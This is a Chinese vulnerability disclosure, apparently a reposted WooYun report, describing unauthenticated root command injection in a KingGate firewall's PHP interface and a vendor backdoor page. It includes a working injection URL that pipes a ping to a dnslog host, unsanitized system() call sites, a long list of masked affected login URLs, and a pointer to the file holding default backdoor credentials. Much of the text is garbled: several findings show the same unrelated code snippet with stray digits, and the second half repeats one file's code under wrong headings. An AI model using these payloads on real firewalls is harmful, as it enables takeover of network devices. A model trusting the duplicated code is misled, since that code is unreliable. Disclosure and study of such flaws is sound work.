神刀安全网

漏洞标题: 某防火墙N处远程命令执行和后门页面管理(基础代码审计)

漏洞详情

披露状态:

2016-03-03: 细节已通知厂商并且等待厂商处理中
2016-03-07: 厂商已经确认,细节仅向厂商公开
2016-03-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-01: 细节向核心白帽子及相关领域专家公开
2016-05-11: 细节向普通白帽子公开
2016-05-21: 细节向实习白帽子公开
2016-06-05: 细节向公众公开

简要描述:

一次性全部打包,通杀完

详细说明:

无需登录,远程任意命令执行(root权限),直接撸穿源代码,随意控制防火墙

该设计缺陷新旧版本的KingGate防火墙通杀

漏洞标题:  某防火墙N处远程命令执行和后门页面管理(基础代码审计)

漏洞标题:  某防火墙N处远程命令执行和后门页面管理(基础代码审计)

通过案例一 **.**.**.**/bugs/wooyun-2016-0176999 我已经撸到了源代码

在对源代码审计过程中发现N枚无需登录的远程命令执行漏洞

第一处 命令执行

/src/application/log/viewauditmail.php

关键性代码如下:

code 区域
<?php // 页面显示后台配置部分
require("../../lib/public.inc");
require("../../lib/log.inc");
require("../../lib/page_db.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

$thema_name="default";
$theme=zr_getTheme($thema_name); // 主题
$IG_pagenum=12;

if ($IG_date == "")
$IG_date=date("Y-m-d");
if ($IG_date == date("Y-m-d"))
$table_name = "audit_smtp";
else{
$a = split("-",$IG_date);
$y = $a[0];
$m = $a[1];
$d = $a[2];
$table_name = "audit_smtp".$y.$m.$d;
}

$IG_MailIDs = "";
if ($REQUEST_METHOD == "POST"){
if ($IG_opertype == "AUDIT"){
for ($i=0; $i<$IG_pagenum; $i++){
if ($_POST['chkbox'.$i] != ""){
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

其中此处由于$_POST['chkbox'.$i]未过滤,造成命令执行

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

第二处:

src/application/firewall/schedule.php

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

关键代码

code 区域
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);

直接执行,get获取值

只要满足如下条件

利用方式如下:

**.**.**.**/src/application/firewall/schedule.php?IG_pagenum=5&IG_dir=a|ping werwrer3.xxxx.dnslog.info

postdata:

IG_operation=IG_delete&IG_checkbox=1

如图

漏洞标题:  某防火墙N处远程命令执行和后门页面管理(基础代码审计)

cloudeye收到的dns解析请求(证明命令执行)

漏洞标题:  某防火墙N处远程命令执行和后门页面管理(基础代码审计)

第三处命令执行:

src/application/vpn/tab/tab_show_ipsec_tunnellist.php

关键代码

code 区域
if ($_SERVER['REQUEST_METHOD'] == "POST")
{
for($IG_i=0; $IG_i< $IG_pagenum; $IG_i++)
{
$IG_tunnelname=trim($_POST['IG_chbox'.$IG_i]);
if ($IG_tunnelname != ""){
//showmsg($IG_str);//注意是否要加上($IG_str!="")
$IG_tunnelstarted=checktunnelstarted($IG_tunnelname);
if ($IG_tunnelstarted==1){
$IG_prompt=GetPrompt($IG_promptfile, $IG_localfile, "tunnelisrunning", "隧道已启用,请停止再删除!");
showmsg($IG_tunnelname.$IG_prompt);
//continue;
}else{
$IG_basedir="/etc/infogate/VPN/ipsec.d/zr_user";
$IG_tunnelfile = $IG_basedir."/##".$IG_tunnelname.".ui";
$IG_secretfile=$IG_basedir."/##".$IG_tunnelname.".secrets";
if (file_exists($IG_tunnelfile)){
unlink($IG_tunnelfile);
unlink($IG_secretfile);
}

$IG_tunnelfile = $IG_basedir."/".$IG_tunnelname.".ui";
$IG_secretfile=$IG_basedir."/".$IG_tunnelname.".secrets";
if (file_exists($IG_tunnelfile)){
unlink($IG_tunnelfile);
unlink($IG_secretfile);
}

$IG_cmd="/usr/local/super/bin/super ipsec auto --down"." ".$IG_tunnelname." > /dev/null";
system($IG_cmd,$retv);

$IG_cmd="/usr/local/super/bin/super ipsec auto --delete $IG_tunnelname > /dev/null";
system($IG_cmd);

可执行地方为

code 区域
$IG_cmd="/usr/local/super/bin/super ipsec auto --down"." ".$IG_tunnelname." > /dev/null";
system($IG_cmd,$retv);

跟踪该变量$IG_tunnelname

code 区域
$IG_tunnelname=trim($_POST['IG_chbox'.$IG_i]);

同理,post可控即可造成命令执行

第四处:

src/application/log/stat_virus_name.php

code 区域
$IG_dir="/var/log/infogate/";
$IG_top=$_POST['IG_top'];
$IG_sdate=zr_trim($_POST['IG_s_date'], "-");
$IG_edate=zr_trim($_POST['IG_edate'], "-");

$IG_cmd="/boot/sbin/infogate/getsort.sh -v -n ".$IG_sdate." ".$IG_edate." > /dev/null";
// echo $IG_cmd;
system($IG_cmd, $IG_status);

其中$IG_sdate 可控,同理命令执行

第四处:/src/application/vpn/tab/tab_show_ipsec_status.php

code 区域
$IG_tunnelname=$_GET['IG_tunnelname'];
$IG_type=$_GET['IG_type'];

if ($IG_type == "start"){
// 修改文件名
$IG_tunnelfile2=$IG_basedir."/##"."$IG_tunnelname".".ui";
if (file_exists($IG_tunnelfile2)){
$IG_tunnelfile=$IG_basedir."/$IG_tunnelname".".ui";
rename($IG_tunnelfile2, $IG_tunnelfile);
}

$IG_secretfile2=$IG_basedir."/##".$IG_tunnelname.".secrets";
if (file_exists($IG_secretfile2)){
$IG_secretfile=$IG_basedir."/$IG_tunnelname".".secrets";
rename($IG_secretfile2, $IG_secretfile);
}

$IG_tunnelstarted=checktunnelstarted($IG_tunnelname);////
if ($IG_tunnelstarted==1) {
$IG_prompt=GetPrompt($IG_promptfile, $IG_localfile, "tunnelrunning", "隧道已启用!");
showmsg("$IG_prompt");
}else {

$IG_cmd = "/usr/local/sbin/create_ipsec_tunnel.sh /etc/infogate/VPN/ipsec.d/zr_user/";
system($IG_cmd,$retv);

$IG_cmd = " /usr/local/sbin/create_ipsec_secrets.sh /etc/infogate/VPN/ipsec.d/zr_user/";
system($IG_cmd,$retv);

$IG_cmd="/usr/local/super/bin/super ipsec auto --delete"." ".$IG_tunnelname." > /dev/null";
system($IG_cmd,$retv);

其中$IG_tunnelname = $IG_tunnelname=$_GET['IG_tunnelname']; 直接执行命令

第五出:/src/application/vpn/tab/tab_show_c-to-s_status.php

code 区域
$IG_type=$_GET['IG_type'];
if ($IG_type == "close"){
$IG_pid = $_GET['IG_pid'];
$IG_cmd="kill $IG_pid > /dev/null";
system($IG_cmd) ;

}
?>

第6处:src/application/firewall/getadress.php

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

0

第7处:/src/system/update.php

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

1

第8处:

/src/application/firewall/editschedule.php

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

2

第9处:

src/application/virus/sortbyname.php

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

3

第10处:

src/application/virus/sortbyip.php

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

4

第11处 官方后门:

src/system/backdoor.php

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

5

默认带有的后门管理员账号和密码储存在/etc/infogate/center/defaultclient.conf文件中

漏洞标题:  某防火墙N处远程命令执行和后门页面管理(基础代码审计)

受影响的如下列表:

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

https://**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

https://**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**:8443/src/system/login.php

**.**.**.**/src/system/login.php

**.**.**.**:8443/src/system/login.php

漏洞证明:

无需登录,远程任意命令执行(root权限),直接撸穿源代码,随意控制防火墙

该设计缺陷新旧版本的KingGate防火墙通杀

该设计缺陷新旧版本的KingGate防火墙通杀

漏洞标题:  某防火墙N处远程命令执行和后门页面管理(基础代码审计)

漏洞标题:  某防火墙N处远程命令执行和后门页面管理(基础代码审计)

通过案例一 **.**.**.**/bugs/wooyun-2016-0176999 我已经撸到了源代码

在对源代码审计过程中发现N枚无需登录的远程命令执行漏洞

第一处 命令执行

/src/application/log/viewauditmail.php

关键性代码如下:

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

6

其中此处由于$_POST['chkbox'.$i]未过滤,造成命令执行

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

7

第二处:

src/application/firewall/schedule.php

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

8

关键代码

code 区域
$IG_cmd="/usr/local/sbin/mailsend -i ".$_POST['chkbox'.$i]." -t $table_name >/dev/null 2>/dev/null &";
//echo $IG_cmd."<br>";
system($IG_cmd);

9

直接执行,get获取值

只要满足如下条件

利用方式如下:

**.**.**.**/src/application/firewall/schedule.php?IG_pagenum=5&IG_dir=a|ping werwrer3.xxxx.dnslog.info

postdata:

IG_operation=IG_delete&IG_checkbox=1

如图

漏洞标题:  某防火墙N处远程命令执行和后门页面管理(基础代码审计)

cloudeye收到的dns解析请求(证明命令执行)

漏洞标题:  某防火墙N处远程命令执行和后门页面管理(基础代码审计)

第三处命令执行:

src/application/vpn/tab/tab_show_ipsec_tunnellist.php

关键代码

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

0

可执行地方为

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

1

跟踪该变量$IG_tunnelname

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

2

同理,post可控即可造成命令执行

第四处:

src/application/log/stat_virus_name.php

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在访问控制中应用,不能被删除!";
$flag=false;
}
if ($flag == true){
$IG_rulinfo=locaterecord($IG_appaccessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
$IG_error_msg=$IG_str." 已在应用控制中应用,不能被删除!";
$flag=false;
}
}

// 删除文件
if($flag)
{
$cmd = "rm ".$_GET["IG_dir"].$IG_str." -f";
system($cmd);
$IG_cmd="sync > /dev/null";
system($cmd);

3

其中$IG_sdate 可控,同理命令执行

第四处:/src/application/vpn/tab/tab_show_ipsec_status.php

code 区域
<?php  
require("../../lib/public.inc");
require("../../lib/session_check.inc");

$_GET["IG_localfile"]=zr_getFilename(); // 当前文件名
$IG_current_deep=zr_path_deep();
$jumpToRootpath=zr_JumpToRoot(); // 到根目录的跳数

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">


<?php
$_GET["IG_dir"]="/etc/infogate/tmpconf/"; // 配置文件根目录
$_GET["IG_promptfile"]=""; // 语言配置文件
$_GET["IG_pagenum"]=2; // 每页条数
$_GET["IG_dir"]="/etc/infogate/firewall/time/";

if(!file_exists($_GET["IG_dir"])){
$cmd="目录不存在!";
showmsg($cmd);
}


$d = dir($_GET["IG_dir"]);

$_GET["IG_pagenum"]=15;
$IG_COUNT_TIME_NAME=0;

while (false !== ($entry = $d->read())) {

if( preg_match("/(^/.$)|(^/./.$)/",$entry) ){
continue;
}

$IG_TIME_FILENAME[$IG_COUNT_TIME_NAME]=$entry;
$IG_COUNT_TIME_NAME ++;
}

if(!isset($IG_pageno))
$IG_pageno=0;

for ($i=($IG_pageno*$_GET["IG_pagenum"]); $i<($IG_pageno*$_GET["IG_pagenum"] + $_GET["IG_pagenum"]); $i++){
$lines=file($_GET["IG_dir"]."/".$IG_TIME_FILENAME[$i]);
foreach ($lines as $line_num => $line) {

$ZR_TIME_ARRAY = preg_split("/=/",trim($line), 8, PREG_SPLIT_NO_EMPTY);

if(($ZR_TIME_ARRAY[1]=trim($ZR_TIME_ARRAY[1]))=="default")
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]="";
else
$IG_TIME_INFO[$i.trim($ZR_TIME_ARRAY[0])]=$ZR_TIME_ARRAY[1];

}

}

$d->close();

if ($REQUEST_METHOD== "POST"){

$IG_pageno=1;
$IG_operation=trim($_POST['IG_operation']);

if($IG_operation == "IG_delete"){
// 防火墙规则文件
$IG_accessfile="/etc/infogate/firewall/access.conf";
$IG_appaccessfile="/etc/infogate/firewall/appaccess.conf";
// 时间段是否已在防火墙中使用
$flag_norepeat=true;
$IG_error_msg="";

for($i=0; $i<=$_GET["IG_pagenum"]; $i++){
$flag=true;
$IG_str=trim($_POST['IG_checkbox'.$i]);

if ($IG_str != ""){
// 在防火墙规则配置文件中找此时间配置,如果存在,则不能删除
$IG_error_msg="";
$IG_rulinfo=locaterecord($IG_accessfile, 12, 4, $IG_str, "|"); // 访问控制
if ($IG_rulinfo[0] != ""){
